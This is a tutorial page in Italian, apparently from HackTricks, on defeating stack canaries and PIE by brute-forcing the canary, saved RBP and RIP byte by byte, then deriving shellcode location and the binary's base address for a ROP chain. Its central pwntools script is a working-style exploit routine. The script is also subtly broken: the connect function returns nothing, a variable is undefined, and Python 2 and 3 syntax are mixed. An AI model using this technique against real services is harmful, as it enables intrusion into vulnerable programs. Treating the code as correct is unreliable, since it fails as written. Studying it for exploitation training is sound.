91 lines
4.4 KiB
Markdown

# BF Indirizzi nello Stack
{{#include ../../../banners/hacktricks-training.md}}
**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\
> Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
## Indirizzi Brute-Force
Per **bypassare il PIE** devi **leakare qualche indirizzo**. E se il binario non sta leakando indirizzi, il modo migliore per farlo è **brute-forzare il RBP e il RIP salvati nello stack** nella funzione vulnerabile.\
Ad esempio, se un binario è protetto utilizzando sia un **canary** che **PIE**, puoi iniziare a brute-forzare il canary, poi i **prossimi** 8 Byte (x64) saranno il **RBP** salvato e i **prossimi** 8 Byte saranno il **RIP** salvato.
> [!TIP]
> Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, che, se la vulnerabilità si trova nel codice binario, sarà di solito il caso.
Per brute-forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non si blocca. La **stessa funzione** fornita per brute-forzare il canary può essere utilizzata per brute-forzare il RBP e il RIP:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare **indirizzi utili dagli indirizzi leakati**: il **RBP** e il **RIP**.
Dal **RBP** puoi calcolare **dove stai scrivendo il tuo shell nella stack**. Questo può essere molto utile per sapere dove andrai a scrivere la stringa _"/bin/sh\x00"_ all'interno della stack. Per calcolare la distanza tra il RBP leakato e il tuo shellcode puoi semplicemente mettere un **breakpoint dopo aver leakato il RBP** e controllare **dove si trova il tuo shellcode**, poi, puoi calcolare la distanza tra il shellcode e il RBP:
```python
INI_SHELLCODE = RBP - 1152
```
Dalla **RIP** puoi calcolare il **base address del binary PIE** che è ciò di cui hai bisogno per creare un **valid ROP chain**.\
Per calcolare il base address basta fare `objdump -d vunbinary` e controllare gli indirizzi disassemblati più recenti:
![](<../../../images/image (479).png>)
In quell'esempio puoi vedere che sono necessari solo **1 Byte e mezzo** per localizzare tutto il codice, quindi, il base address in questa situazione sarà la **RIP leak ma che termina con "000"**. Ad esempio, se hai leakato `0x562002970ecf`, il base address è `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
## Miglioramenti
Secondo [**alcune osservazioni di questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), è possibile che quando si perdono i valori RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF penserà di aver ottenuto quelli giusti. Questo perché è possibile che **alcuni indirizzi semplicemente non lo romperanno anche se non sono esattamente quelli corretti**.
Secondo quel post del blog, si raccomanda di aggiungere un breve ritardo tra le richieste al server.
{{#include ../../../banners/hacktricks-training.md}}